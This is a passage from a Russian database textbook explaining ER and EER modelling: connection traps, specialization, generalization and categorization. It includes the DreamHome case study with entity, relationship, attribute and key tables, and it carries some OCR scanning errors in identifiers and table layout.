С помощью этой семантической сетевой модели попробуем ответить на следующий вопрос: “Какое отделение компании отвечает за работу с объектом под номером 'РА14'?”. К сожалению, на данный вопрос нельзя дать ответ, поскольку этот объект в текущий момент не связан ни с одним из сотрудников, работающих в каком-либо из отделений компании. Неспособность дать ответ на заданный вопрос рассматривается как утрата информации (поскольку известно, что объект недвижимости должен быть приписан к какому-то отделению компании), в результате которой и возникает ловушка разрыва. Частичное участие сущностей Staff и Property_for_Rent в связи Oversees означает, что некоторые объекты недвижимости не могут быть связаны с отделением компании посредством сотрудников. Следовательно, для разрешения этой проблемы следует ввести отсутствующую связь Has между сущностями Branch и Ргор- erty_for_Rent. ER-диаграмма, показанная на рис. 5.26, отображает истинные связи между этими сущностями. Такая структура гарантирует, что нам всегда будут известны объекты недвижимости, связанные с каждым отделением компании, включая объекты недвижимости, которые в данный момент не поручены никому из сотрудников организации.
Если теперь исследовать эту структуру на уровне отдельных сущностей (так, как показано на рис. 5.27), то станет ясно, что мы можем дать ответ на поставленный выше вопрос: объект недвижимости с номером 'РА14' приписан к отделению компании с номером 'В7'.
Рис. 5.26. ER-диаграмма, представленная на рис. 5.24, после переработки с целью устранения ловушки разрыва
Экземпляры Экземпляры Экземпляры Экземпляры Экземпляры сущности сущности Branch связи isAllocated сущности Staff связи Oversees Property_for_Rent
Рис. 5.27. Семантическая сетевая модель ER-модели, представленной на рис. 5.26
ЕER-модель
Рассмотренных выше понятий ER-моделирования вполне достаточно для представления большинства схем баз данных в традиционных административноуправленческих приложениях. Однако начиная с 80-х годов стали быстро распространяться многие новые типы приложений баз данных — например, инструменты автоматизированного проектирования (Computer Aided Design — CAD), инструменты автоматизированной подготовки производства (Computer Aided Manufacturing — САМ), инструменты автоматизированного проектирования и создания программ (Computer Aided Software Engineering — CASE), мультимедийные приложения. Эти типы приложений предъявляют к базам данным более строгие требования, чем традиционные административно-управленческие приложения. Поэтому основных поня-
тий ER-моделирования оказалось недостаточно для удовлетворения новых требований, выдвигаемых все более усложнявшимися приложениями. Подобная ситуация стимулировала разработку дополнительных концепций семантического моделирования. Предлагались разные семантические модели данных, причем некоторые из них были успешно включены в исходную ER-модель. Такая ER-модель, дополненная новыми семантическими концепциями, получила название расширенной ER-модели (или EER-модели (Enhanced ER)).
EER-модель включает все концепции ER-модели плюс дополнительные концепции специализации/генерализации и категоризации. В этом разделе описываются эти новые понятия, а также иллюстрируется способы их представления в EER-моделях.
Концепции специализации/генерализации и категоризации связаны с близкими им понятиями типов сущностей, называемых суперклассами и подклассами, а также с процессом наследования атрибутов. Этот раздел начинается с краткого вводного описания этих родственных понятий.
Суперклассы и подклассы типов сущностей
Как уже обсуждалось в предыдущем разделе, тип сущности — это множество сущностей одного типа, например Staff, Branch или Property_for_Rent.
Суперкласс Тип сущности, включающий разные подклассы, которые необходимо представить в модели данных.
Подкласс Подкласс является типом сущности, который исполняет отдельную роль, а также является членом суперкласса.
В некоторых случаях тип сущности может иметь несколько разных подклассов. Например, для типа сущности Staff отдельные экземпляры этой сущности можно классифицировать как подтипы Manager, Secretary и Sales_Personnel. Иначе говоря, сущность Staff можно рассматривать как суперкласс для подклассов Manager, Secretary и Sales_Personnel. Связь между суперклассом и любым его подклассом называется связью “суперкласс/подкласс”. Например, связь Staff/Manager является связью типа “суперкласс/подкласс”.
Каждый член подкласса является членом суперкласса. Другими словами, член подкласса является сущностью суперкласса и в то же время играет собственную отдельную роль. Связь между суперклассом и подклассом относится к типу “один к одному” (1:1). Некоторые суперклассы могут содержать перекрывающиеся подклассы. Например, сотрудник может быть одновременно менеджером (Manager) и торговым агентом (Sales_Personnel). В этом примере подклассы Manager и Sales_Personnel являются перекрывающимися подклассами суперкласса Staff. Однако не каждый член суперкласса обязательно должен быть членом какого-либо подкласса — например, это могут быть рядовые сотрудники, не играющие какой-либо особой роли в организации.
Суперклассы и подклассы могут использоваться с целью исключения описания различных типов персонала с (возможно) разными атрибутами внутри одной сущности. Например, торговые агенты (Sales_Personnel) могут иметь особые атрибуты Car_Allowance (Компенсация транспортных расходов), Sales_Area (Район сбыта) и т.д. Если все атрибуты сотрудников и особые атрибуты для выполнения отдельных работ будут описаны в одной сущности Staff, то это может привести к появлению большого количества неопределенных значений (NULL) атрибутов, описывающих отдельные виды работ. Очевидно, что подкласс Sales_Personnel имеет указанные общие атрибуты со сведениями о других сотрудниках — например, таких как Staff_No, Name, Address и DOB. Однако именно не используемые совместно атрибуты могут вызывать проблемы при представлении сведений обо всех сотрудниках с помощью одной сущности. Можно также показать связи, которые имеются только для отдельных групп работников
(подклассов), но не для всех сотрудников в целом. Так, подкласс Sales_Personnel может иметь отдельные связи, которые не подходят для всех сотрудников, например связь Requires (Требует) между сущностями Sales_Personnel и Саг (Автомобиль).
Существует две причины введения понятий суперклассов и подклассов в ER- модель. Во-первых, это позволяет избежать повторного описания сходных понятий, что сэкономит время проектировщика и повысит читабельность ER-диаграмм. Во- вторых, при проектировании в базы данных включается больше семантической информации в форме, более привычной для многих людей. Например, в утверждениях “менеджер ЯВЛЯЕТСЯ сотрудником” и “квартира ЯВЛЯЕТСЯ типом собственности” в очень краткой форме содержится значительная семантическая информация.
Наследование атрибутов
Как упоминалось выше, сущность в подклассе представляет тот же объект реального мира, что и ее суперкласс, и может обладать атрибутами, как связанными с суперклассом, так и специфическими для данного подкласса. Например, подкласс Sales_Personnel обладает всеми атрибутами суперкласса Staff (т.е. атрибутами Staff^No, Name, Address и DOB), а также специфическими атрибутами подкласса Sales_Personnel (т.е. атрибутами Car_Allowance и Sales_Area).
Подкласс также является сущностью, а потому может иметь свои собственные подклассы. Сущность, ее подклассы, подклассы данных подклассов и так далее — все это называется иерархией типа (type hierarchy). Иерархии типов могут иметь разные названия: иерархия специализации (specialization hierarchy) — например, подкласс Manager является специализацией суперкласса Staff; иерархия генерализации (generalization hierarchy) — например, суперкласс Staff является генерализацией подкласса Manager; иерархия принадлежности (IS-A hierarchy) — например, менеджер (подкласс Manager) является сотрудником (принадлежит суперклассу Staff). В следующих разделах процессы специализации и генерализации описываются более подробно.
Специализация
Специализация Процесс увеличения различий между отдельными членами типа сущности за счет выделения их отличительных характеристик. ,
Специализация представляет собой нисходящий подход к определению множества суперклассов и связанных с ними подклассов. Множество подклассов определяется на основе некоторых отличительных характеристик отдельных сущностей суперкласса. При выявлении набора подклассов некоторого типа сущности выполняется также выделение специфических для каждого подкласса атрибутов (в случае необходимости), а также выделение любых связей, существующих между каждым подклассом и другими типами сущностей или подклассами (также в случае необходимости).
Рассмотрим, например, процедуру специализации, в которой идентифицируется множество подклассов суперкласса Staff, включая подклассы Manager, Secretary и Sales_Personnel. Ее можно представить схематически — в виде EER-диаграммы, показанной на рис. 5.28. Обратите внимание, что суперкласс Staff и его подклассы, которые также являются типами сущностей, здесь обозначены прямоугольниками. Подклассы специализации соединяются линиями с кружком, который, в свою очередь, соединяется с суперклассом. Символ принадлежности множеству (с) на каждой линии, соединяющей подкласс с кружком, указывает направление связи “подкласс/суперкласс” (например, Manager с Staff). Символ “о” в кружке специализации обозначает накладываемое на связь “подкласс/суперкласс” ограничение, которое более подробно описывается ниже, в разделе 5.4.5.
Рис. 5.28. Специализация сущности Staff по подклассам на основе служебных ролей
Специфические для каждого подкласса атрибуты непосредственно соединяются линиями с прямоугольником, обозначающим этот подкласс. Например, на рис. 5.28 атрибуты Car_Allowance и Sales_Area связаны только с подклассом Sales Personnel, а это означает, что они не могут быть применены к подклассу Manager или Secretary. Аналогичным образом выделены атрибуты, специфические для подклассов Manager (атрибут Bonus) и Secretary (атрибут Typing_Speed).
Обратите внимание на то, что на ERR-диаграмме могут быть указаны связи, которые применимы только к отдельным подклассам. Например, подкласс Manager связан с сущностью Branch посредством связи Manages, в то время как сущность Staff связана с сущностью Branch посредством связи IsAllocated (см. рис. 5.28).
Для одной и той же сущности можно выделить несколько независимых специализаций, основываясь на разных ее характеристиках. Например, в другой специализации сущности Staff могут быть выделены подклассы Full_Time_Permanent (Постоянный работник) и Part Time_Temporary (Временный работник), отличающиеся типом установленного с данным работником соглашения о найме. Обе специализации типа сущности Staff на подклассы служебных ролей и подклассы вида установленного соглашения о найме показаны на рис. 5.29.
На этом рисунке также показаны атрибуты, которые специфичны для подклассов Full_Time_Permanent (Salary_Scale и Holiday_Allowance) и PartjrimeJTemporary (Hourly_Rate). Символ d в кружке специализации представляет ограничение, накладываемое на связь “суперкласс/подкласс”, речь о котором пойдет в разделе 5.4.5.
Подкласс также может иметь свои собственные подклассы, которые образуют иную иерархию специализаций. Как показано на рис. 5.30, сущность Sales_Trainee является подклассом двух подклассов Sales_Personnel и Trainee. Подкласс с несколькими суперклассами называется совместно используемым подклассом (shared subclass). Иначе говоря, член совместно используемого подкласса Sales_Trainee одновременно должен быть членом подклассов Seles Personnel и Trainee. В результате атрибуты подкласса Sales Personnel (Sales_Area и Car^Allowance) и подкласса Trainee
(Start_Date) наследуются подклассом Sales_Trainee, который также обладает своим собственным дополнительным атрибутом Sales_Target. Подобный процесс называется множественным наследованием (multiple inheritance).
Рис. 5.29. Специализации сущности Staff на подклассы служебных ро лей и подклассы вида установленного соглашения о найме
Рис. 5.30. Пример совместно используемого подкласса Sales_Trainee (множественное наследование)
Генерализация
Генерализация Процесс сведения различий между сущностями к минимумупутем выделения их общих характеристик.
Генерализация представляет собой восходящий подход, который позволяет создать обобщенный суперкласс на основе различных исходных подклассов. Процесс генерализации можно рассматривать как противоположный процессу специализации. Давайте, рассмотрим модель, в которой Manager, Secretary и Sales_Personnel представлены как отдельные типы сущностей. Применение метода генерализации к этим сущностям заключается в поиске любых сходств между ними, т.е. выделении их общих атрибутов и связей. Как упоминалось выше, эти сущности совместно используют атрибуты, общие для всех сотрудников компании. Поэтому сущности Manager, Secretary и Sales_Personnel можно рассматривать как подклассы обобщенного суперкласса Staff, что и показано на рис. 5.28.
Ограничения, накладываемые на процедуры специализации и генерализации
В этом разделе мы рассмотрим ограничения, которые могут быть наложены на процедуры специализации и генерализации. Здесь мы обсудим возможные ограничения только в отношении специализации, однако эти же соображения в равной степени применимы и к процедуре генерализации.
Первое ограничение называется ограничением непересечения (disjoint constraint). Оно гласит, что если подклассы некоторой специализации не пересекаются, то каждая отдельная сущность может быть членом только одного из подклассов данной специализации. Для представления непересекающейся (disjoint) специализации используется символ “d", который располагается в центре кружка, соединяющего подклассы данного суперкласса. Например, показанные на рис. 5.29 подклассы видов принятых соглашений о найме (FullJTime_Permanent и Part_Time_Temporary) являются не пересекающимися. Этот значит, что сотрудник может установить с компанией либо соглашение о полной постоянной занятости, либо соглашение о частичной временной занятости.
Если подклассы специализации пересекаются, в таком случае сущность может быть членом сразу нескольких подклассов специализации. Для представления пересекающейся (nondisjoint) специализации используется символ “о", который располагается в центре кружка, соединяющего подклассы данного суперкласса. Например, показанные на рис. 5.29 подклассы специализации служебных ролей (Manager, Secretary, Sales_Personnel) являются пересекающимися. В данном примере это значит, что сотрудник может быть одновременно и менеджером (т.е. членом подкласса Manager), и торговым агентом (т.е. членом подкласса Sales_Personnel).
Второе ограничение специализации называется ограничением участия (participation constraint), оно может быть полным или частичным. Специализация с полным участием означает, что каждая сущность суперкласса должна быть членом подкласса этой специализации. Для обозначения полного участия между суперклассом и кружком специализации проводят двойную линию. Например, на рис. 5.29 специализация типов соглашений о найме характеризуется полным участием, при котором каждый сотрудник компании должен установить с ней соглашение о полной постоянной или частичной временной занятости.
Специализация с частичным участием означает, что сущность не обязательно должна быть членом любого подкласса этой специализации. Для обозначения частичного участия между суперклассом и кружком специализации проводят одинарную линию. Например, на рис. 5.29 специализация служебных ролей характеризуется частичным участием, при котором сотрудник не обязательно должен выполнять
одну из дополнительных служебных ролей — менеджера (т.е. быть членом подкласса Manager), секретаря (т.е. быть членом подкласса Secretary) или торгового агента (т.е. быть членом подкласса Sales_Personnel).
Ограничения пересечения и участия для специализации и генерализации отличаются. Их принято делить на следующие четыре категории: непересекающиеся полные, непересекающиеся частичные, пересекающиеся полные и пересекающиеся частичные. Краткая сводка обозначений для представления понятий специализа- ции/генерализации на EER-диаграммах представлена на внутренней стороне обложки этой книги.
Если теперь вернуться к рис. 5.1, то станут ясными и понятными все концепции, показанные на этой EER-диаграмме. Если какие-то детали остаются все еще непонятными, то вам следует еще раз прочитать соответствующие разделы данной главы. Кроме того, концепции EER-моделирования станут более наглядными, если ознакомиться с подробным описанием всех этапов создания EER-диаграммы, представленной на рис. 5.1, которое можно найти в разделе 5.5.
Категоризация
Категоризация Моделирование одного подкласса со связью, которая охватывает несколько разных суперклассов.
Каждая связь “суперкласс/подкласс” (включая совместно используемые подклассы) в иерархии специализации/генерализации обладает единственным и отличным от других суперклассом. Например, совместно используемый подкласс Sales_Trainee (см. рис. 5.30) имеет две разные связи типа “суперкласс/подкласс”, каждая из которых включает единственный суперкласс. Однако в некоторых ситуациях может потребоваться смоделировать связь “суперкласс/подкласс”, включающую сразу несколько разных суперклассов. В этом случае создаваемый подкласс будет называться категорией (category) (Elmasri, 1994).
Например, на рис. 5.31 показаны две категории Property_Owner и Property. Категория Property^Owner связана с двумя суперклассами с разными типами сущности, а именно с Person и Business, Категория Property связана с двумя другими, но также различными суперклассами, а именно с Property_for_Sale и Property_for_Rent. Линия, соединяющая подкласс-категорию с кружком категоризации, помечается символом принадлежности множеству (с), а в кружок категоризации помещается символ объединения (и).
Рис» 5.3 L Категории Property_Owner и Property
Подкласс категории обладает выборочным наследованием (selective inheritance). Это означает, что каждый экземпляр сущности категории наследует атрибуты только одного суперкласса. Например, на рис. 5.31 каждая сущность типа Property_Owner может наследовать атрибуты только суперкласса Person (Name, Address и Tel_No) или только суперкласса Business (BName, BAddress, Tel_No и Fax_No).
Как и операция специализации/генерализации, операция категоризации может быть дополнительно детализирована с учетом полного или частичного участия сторон. При полном участии каждый экземпляр всех суперклассов должен быть представлен в данной категории, что обозначается двойной линией, соединяющей подкласс-категорию с кружком категоризации. При частичном участии это ограничение устраняется и всем экземплярам всех суперклассов присутствовать в данной категории не обязательно, что обозначается одинарной линией, соединяющей подкласс-категорию с кружком категоризации. Например, категория Property_Owner характеризуется частичным участием, так как не все экземпляры суперклассов Person и Business должны быть представлены в этой категории. В то же время категория Property характеризуется полным участием, поскольку каждый член суперклассов Property_for_Sale и Property_for_Rent является членом этой категории.
Если категория характеризуется полным участием (например, как категория Property), то существует возможность представления сущностей с помощью операций специализации/генерализации. Хотя выбор конкретного используемого варианта остается за разработчиком, тем не менее операции специализации/генерализации целесообразнее применять для представления сущностей одного типа, чтобы они могли совместно использовать наибольшее количество атрибутов, включая первичный ключ. Таким образом, представление сущности Property Owner выгоднее сохранять в виде категории, а представление сущности Property эффективнее осуществлять с помощью средств специализации/генерализации — как показано на рис. 5.32.
Рис. 5.32. Пример специализации/- генерализации сущности Property
Создание EER-модели для представления пользователя Manager
из учебного проекта DreamHome
В этом разделе будет продемонстрирован процесс создания расширенной модели “сущность- связь”, или EER-модели, для представления пользователя Manager из учебного проекта DreamHome. Описание этого учебного проекта приводится в разделе 1.7.
Этапы сбора требований и анализа (из общего жизненного цикла систем с базами данных) были выполнены в нескольких отделениях компании DreamHome. Эти действия включали опрос сотрудников-менеджеров и ознакомление со всей документацией, которая используется или создается ими при выполнении своих каждодневных служебных обязанностей. Результатом выполнения этой фазы явилось создание спецификаций требований для представления пользователя Manager данной компании, описывающих информацию, которую необходимо сохранять в базе данных проекта DreamHome. Следует отметить, что под термином “представление менеджера” понимается представление, которое в общих чертах было определено сотрудниками компании, состоящими на должности менеджера.
Спецификации требований для представления пользователя Manager
Компания DreamHome имеет отделения, расположенные в разных городах страны. Каждое отделение имеет собственный штат сотрудников, в число которых входит также менеджер, который руководит работой данного отделения. Информация, описывающая каждое отделение компании, включает уникальный номер отделения, его адрес (улица, район, город, почтовый индекс), номер телефона, номер факса, имя сотрудника, который в данный момент управляет работой этого отделения.
Помимо этого, о каждом менеджере сохраняется и некоторая дополнительная информация: дата вступления в должность руководителя данного отделения копании, разрешение па компенсацию транспортных расходов, ежемесячный размер премии, зависящий от достигнутых результатов сдачи в аренду объектов недвижимости.
Информация, сохраняемая о каждом сотруднике компании, включает: его личный номер, имя и фамилию, адрес, номер телефона, пол, дату рождения, номер социального страхования (NIN), занимаемую должность, зарплату за год и дату зачисления в штат компании DreamHome. Личный номер каждого сотрудника является уникальным для всех отделений компании.
Кроме того, если это возможно, для каждого сотрудника хранится информация об одном из его родственников (наследников): имя, уровень родственной связи с этим сотрудником, адрес и номер телефона.
Сотрудники, занимающие должность инспектора (Supervisor), отвечают за ежедневную деятельность некоторой группы работников компании. Не все работники компании подчинены какому-либо из инспекторов.
Каждое отделение компании работает с некоторым множеством объектов недвижимости, сдаваемых в аренду. О каждом таком объекте сохраняется следующая информация: номер объекта, его адрес (улица, район, город, почтовый индекс), тип данного объекта недвижимости, количество комнат, установленная месячная арендная плата, а также личный номер владельца этого ' объекта, его имя и фамилия, адрес и номер телефона (как для частных вла-
дельцев, так и для фирм-владельцев). Номер объекта является уникальным для всех отделений компании DreamHome. За каждым объектом закреплен сотрудник, отвечающий за работу с ним.
Дополнительно хранится информация о владельцах объектов недвижимости. Существует два типа владельцев: частные лица и фирмы-владельцы (юридические лица). О частных лицах сохраняется такая информация, как личный номер владельца, его имя и фамилия, адрес и номер телефона, тогда как о юридических лицах — личный номер, присвоенный фирме-владельцу, название фирмы, тип ее деятельности, адрес, номер телефона и имя контактного лица. Личный номер владельца является уникальным для каждого частного или юридического лица, причем в пределах всех отделений компании DreamHome.
Клиентов, заинтересованных в осмотре и аренде объектов недвижимости, в компании принято называть арендаторами. Потенциальный арендатор связывается по телефону с некоторым отделением компании, в котором ему могут предложить осмотреть разные объекты недвижимости. Информация, сохраняемая по каждому проведенному осмотру объекта, включает имя и адрес арендатора, номер и адрес осмотренного объекта недвижимости, дату осмотра, а также любые комментарии арендатора по поводу осмотренного объекта. Арендатор может осматривать любое количество объектов недвижимости.
О каждом арендаторе хранится следующая информация: личный номер арендатора, имя и фамилия, адрес, номер телефона, предпочтительный тип объекта недвижимости, а также максимально допустимая для него арендная плата. Номер арендатора является уникальным для всех отделений компании DreamHome.
При сдаче некоторого объекта недвижимости в аренду арендатор заключает с компанией договор об аренде выбранного им объекта. Подробная информация о договоре на аренду включает: номер арендного соглашения, личный номер арендатора, его имя и адрес, номер арендуемого объекта недвижимости и его адрес, установленную ежемесячную арендную плату, а также даты начала и окончания срока действия данного договора на аренду.
В случае необходимости сведения о сдаваемых в аренду объектах недвижимости могут размещаться в рекламных объявлениях. публикуемых в местных и центральных газетах. По каждому рекламному объявлению сохраняется следующая информация: номер рекламируемо? с объекта недвижимости, его адрес и тип, дата публикации объявления, название газеты и стоимость публикации объявления. О каждой газете в компании сохраняются такие сведения, как название газеты, адрес редакции, номер телефона, номер факса, а также имя контактного лица.
Создание EER-модеди
В данном разделе приводится пример создания EER-модели, показанной на рис. 5.1. Эта модель отражает представление пользователя Manager из учебного проекта DreamHome. Приведенные ниже этапы создания модели предусмотрены методологией концептуального проектирования баз данных, которая более подробно описывается в главе 7, “Методология концептуального проектирования баз данных”.
Определение типов сущностей
Начнем работу с определения основных сущностей в спецификации требований менеджера. Как правило, в спецификациях пользователей они присутствуют в виде существительных или именных групп и в данном случае включают следующее:
Branch (Отделение)
Private_Owner (Частный владелец)
Staff (Персонал)
Business-Owner (Фирма-владелец)
Manager (Менеджер)
Benter (Арендатор)
Next-Of-Kin (Ближайший родственник)
Viewing (Осмотр)
Supervisor (Инспектор)
Rental_Agreement (Договор на аренду)
Allocated_Staff (Подчиненный персонал)
Advert (Рекламное объявление)
Property_for_Rent (Объект недвижимости)
Newspaper (Газета)
(Обратите внимание, что сущность Allocated-Staff определяет тех сотрудников, которые работают под наблюдением некоторого инспектора.)’
Определение типов связей
Теперь следует определить важнейшие связи, которые существуют между основными сущностями, упоминаемыми в спецификации требований менеджера. Связи обычно присутствуют в спецификациях в виде глаголов или глагольных групп. В табл. 5.2 перечислены основные связи, выделенные в рассматриваемых здесь спецификациях требований пользователей.
Для того чтобы гарантировать их полное соответствие связям реального мира необходимо тщательно изучить их и при обнаружении какой-либо двусмысленности прояснить ситуацию при помощи пользователей. Далее следует указать ограничения кардинальности и степени участия сторон для каждого типа связи, представленного в табл. 5.2.
Таблица 5.2. Основные связи, выделенные в спецификации требований пользователя Manager-
Тип сущности
Тип связи
Тип сущности
Branch
Is Al located (Принадлежит)
Staff
Has (Отвечает за)
Property_for_Rent
Staff
Oversees (Работает с)
Property_for_Rent
RelatedTo (Имеет)
Next_of_Kin
AssignedTo (Относится к)
Allocated_Staff
Manager
Manages (Руководит)
Branch
Supervisor
Supervises (Управляет)
Allocated_Staff
Property_for_Rent
Placedin (Рекламируется)
Advert
Private-Owner
Owns (Владеет)
Property_for_Rent
Business_Owner
Owns (Владеет)
Property_for_Rent
Renter
Cal Is At (Звонит в)
Branch
Reques ts (Запрашивает)
Viewing
Holds (Заключает)
Rental-Agreement
Viewing
Of (Для)
Property-for-Rent
Rental-Agreement
For (В отношении)
Property_for_Rent
Advert
Placedin (Размещается)
Newspaper
Newspaper
Displays (Публикует)
Advert
Определение показателя кардинальности и степени участия сторон для типов связей
Рассмотрим вначале показатель кардинальности связи Owns между сущностями Owner и Proper ty_for__Rent. (Обратите внимание на то, что в данном случае сущность Owner представляет сущности Private_Owner и Business_Owner.) Один владелец может владеть несколькими объектами недвижимости, а потому соотношение кардинальности связи Owns — 1:М. Однако, если рассмотреть эту связь с другой стороны (связь OwnedBy между сущностями Property_for_Rent и Owner), то можно заметить, что каждый объект имеет одного владельца. Следовательно, соотношение кардинальности для связи OwnedBy равно 1:1. Как показано на рис. 5.1, на диаграмме эта связь представлена с большим соотношением кардинальности (1:М), существующим для связи Owns между сущностями Owner и Property_f orient.
Далее рассмотрим степень участия сторон связи Owns, существующей между сущностями Owner и Property_for_Rent. Поскольку каждый владелец владеет, по крайней мере, одним объектом недвижимости, участие сущности Owner в связи Owns является полным. Если рассмотреть эту связь с другой стороны (связь OwnedBy между сущностями Property_for_Rent и Owner), то можно заметить, что каждый объект должен иметь одного владельца, а потому участие сущности Property_for_Rent в связи OwnedBy также является полным. Степень участия сторон в связи Owns между сущностями Owner и Property_for_Rent на рис. 5.1 обозначена двойной линией, расположенной по обе стороны от символа связи (ромба).
На рис. 5.1 также представлены показатели кардинальности и степень участия сторон для всех прочих связей. Читателю рекомендуется внимательно изучить каждый элемент этой EER-диаграммы, чтобы проверить свой уровень понимания способа определения связей. Обратите внимание, что в некоторых случаях названия связи отличаются от тех, которые указаны в табл. 5.2. Например, связь Of между сущностями Viewing и Prop* erty^for^Rent (М:1) заменена связью Takes между сущностями Property_for_Rent и Viewing (1:М), а связь CallsAt между сущностями Renter и Branch (М:1) заменена связью RefersTo между сущностями Branch и Renter (1:М). Эти изменения отвечают общепринятому соглашению о том, что связи следует обозначать в направлении 1:М.
Определение атрибутов и связывание их с типами сущностей и связей
Теперь необходимо выделить атрибуты, которые могут быть представлены в спецификациях требований пользователей в виде существительных (или групп существительных). Атрибут может описывать некоторый аспект сущности или связи. Нам следует перечислить все атрибуты, упоминаемые в спецификации требований, а затем связать каждый выделенный атрибут только с одним типом сущности или связи. Атрибуты, упоминание о которых в спецификации повторяется, могут представлять следующие понятия.
В спецификации указано несколько таких сущностей, как Staff, Manager и Supervisor. В данном случае необходимо решить, нужно ли генерализировать сущности в одну сущность типа Staff или лучше оставить их в виде отдельных специализированных сущностей, которые представляют разные служебные обязанности персонала компании. Дополнительные соображения по поводу специализации и генерализации сущностей приводятся ниже.
Между типами сущностей выявлена новая связь. В этом случае следует связать атрибут только с одной сущностью (родительской) и убедиться в том, что установлены необходимые связи с остальными сущностями, в отношении которых упоминается этот атрибут. Если требуемая связь отсутствует, в документацию следует внести дополнение с описанием вновь определенной связи. Например, в
данных спецификациях требований пользователей атрибуты номера объекта недвижимости, его адреса и типа отнесены к сущности Property, но также описываются в связи с другой сущностью Advert —- в табл. 5.2 это представлено как связь Describedin, существующая между сущностями Property и Advert.
Атрибуты, выделенные из спецификаций требований пользователя Manager, приведены в табл. 5.3, с указанием тех типов сущностей или связей, к которым они отнесены. Обратите внимание на то, что в данном рабочем примере ни один из атрибутов не отнесен к какому-либо типу связи.
Таблица 5.3. Типы сущностей и их атрибуты
Тип сущности
Атрибут
Branch (Отделение)
Branch_No (Номер отделения)
Address (Street, Area, City, Postcode) (Адрес)
Tel_No (Номер телефона)
Faxjio (Номер факса)
Staff (Персонал)
Staff_No (Номер сотрудника)
Name (FName и LName) (Имя)
Tel_No (Номер телефона)
Sex (Пол)
DOB №та рождения)
NIN (Номер социального страхования)
Position (Должность)
Salary (Зарплата)
Date^Joined (Дата зачисления в штат)
Manager (Менеджер)
Staff_No (Номер сотрудника)
Те же атрибуты, что и у сущности Staff
Date_Mg restart (Дата вступления в должность менеджера)
Car_Allowance (Компенсация транспортных расходов)
Bonus^Payment (Премия)
Next_of Kin (Ближайший родственник)
NName (Имя)
Relationship (Родственные отношения)
Address (Адрес)
Tel_No (Номер телефона)'
Supervisor (Инспектор)
Staff_No (Номер сотрудника)
Те же атрибуты, что и у сущности Staff
Property_for_Rent (Объект недвижимости)
Property_No (Номер объекта недвижимости)
Address (Street, Area, City, Postcode) (Адрес)
Type (Тип недвижимости)
Rooms (Количество комнат)
Rent (Арендная плата)
Private_Owner (Частный владелец)
Owner^No (Номер владельца) Name (FName и LName) (Имя) Address (Адрес) Tel_No (Номер телефона)
Тип сущности
Атрибут
Business^Owner (Фирма- владелец) *
Owner_No (Номер владельца)
BName (Название фирмы-владельца)
ВТуре (Тип деятельности)
Address (Адрес)
Tel_No (Номер телефона)
Contact_Name (Имя контактного лица)
Renter (Арендатор)
Renter-No (Номер арендатора)
Name (FName и LName)(Имя)
Address (Адрес)
Tel-No (Номер телефона)
Pref_Type (Предпочтительный тип недвижимости)
Max_Rent (Максимальная арендная плата)
Viewing (Осмотр)
Date-View (Дата осмотра)
Comments (Комментарии)
Rental Agreement (Договор на аренду)
Rental_No (Номер договора на аренду)
Rent-Start (Дата начала аренды)
Rent_Finish (Дата окончания аренды)
Advert (Рекламное объявление)
Date_Advert (Дата рекламного объявления)
Newspaper-Name (Название газеты)
Cost (Стоимость)
Newspaper (Газета)
Newspaper_Name (Название газеты)
Address (Адрес)
Tel-No (Номер телефона)
Fax_No (Номер факса)
Contact-Name (Имя контактного лица)
Определение атрибутов, являющихся потенциальными и первичными ключами
Для поиска потенциальных ключей каждой сущности следует внимательно изучить табл. 5.3. Для сущностей с несколькими потенциальными ключами необходимо выбрать тот, который будет использоваться в качестве первичного ключа. Например, сущность Staff обладает следующими потенциальными ключами:
Staff_No;
FName, LName, DOB;
NIN.
Простейший потенциальный ключ Staf f_No выбран в качестве первичного ключа сущности Staff, а другие потенциальные ключи являются ее альтернативными ключами. В табл. 5.4 перечислены первичные (и альтернативные, если таковые имеются) ключи всех сущностей из табл. 5.3.
Таблица 5.4. Типы сущностей и их первичные и альтернативные ключи
Тип сущностиПервичный ключАльтернативный ключ
Branch
Branch_No
Tel_No
Fax_No
Staff
Staff_No
FName, LName, DOB*
Manager
Staffjto
NIN
FName, LName, DOB
Next_of_Kin
NIN
Supervisor
Staff_No
FName, LName, DOB
Allocated_Staff
Property_for_Rent
Property_No
NIN
Private_Owner
Owner_No
Business Owner
Owner No
Tel No
—
Renter
Renter No
Fax_No
Viewing
Rental Agreement
Rental No
Advert
Newspaper
Newspaper_Name
Tel_No
Fax_No
Обратите внимание, что сущности Next^of^Kin, Allocated_Staff, Viewing и Advert не имеют первичного ключа, а потому являются слабыми сущностями. Первичные ключи этих сущностей будут частично или полностью выведены на основе их родительских сущностей. Процесс создания и определения первичных ключей для слабых сущностей рассматривается как часть методологии логического проектирования базы данных (читайте главу 8, “Методология логического проектирования реляционных баз данных”).
Специализация или генерализация типов сущностей
В этом разделе мы рассмотрим возможность специализации или генерализации сущностей, описанных в спецификациях требований пользователя Manager. До определенной степени этот процесс выполняется с учетом субъективного мнения конкретного разработчика. Однако при выборе способа представления сущностей в каждой создаваемой модели данных важно в максимальной степени придерживаться полного соответствия требованиям спецификации. В приведенных в разделе 5.1.1 спецификациях требований пользователя Manager имеется несколько пунктов, для которых может оказаться полезным выполнить специализацию или генерализацию.
Например, сущности Manager и Supervisor связаны с сущностью Staff, а потому придется принять решение о том, как надо представить их — как подклассы, связанные с суперклассом Staff, или в виде отдельных независимых сущностей.
Решение о специализации или генерализации сущностей может быть принято на основе общности атрибутов и связей каждой из сущностей. Как показано в табл. 5.3, все атрибуты сущности Staff также представлены в сущностях Manager и Supervisor, причем все они имеют один и тот же первичный ключ. Более того, сущность Supervisor не имеет никаких дополнительных атрибутов, которые отвечают этой служебной роли. С другой стороны, сущность Manager имеет три дополнительных атрибута: Date_Mgr_Start, Car_Ailowance и Bonus_Payment. Кроме того, сущности Manager и Supervisor поддерживают разные связи: сущность Manager связана связью Manages с сущностью Branch, а сущность Supervisor — связью Supervises с сущностью Staff. На основании всех этих сведений можно сделать вывод о том, что сущности Manager и Supervisor представляют собой подклассы суперкласса Staff (см. рис. 5.1).
Данная связь “суперкласс/подкласс” является частичной и непересекающейся, поскольку не все сотрудники являются менеджерами или инспекторами, а один и тот же сотрудник не может быть одновременно менеджером и инспектором. Это представление особенно полезно для отображения совместного использования атрибутов, связанных с упомянутыми подклассами и суперклассом Staff.
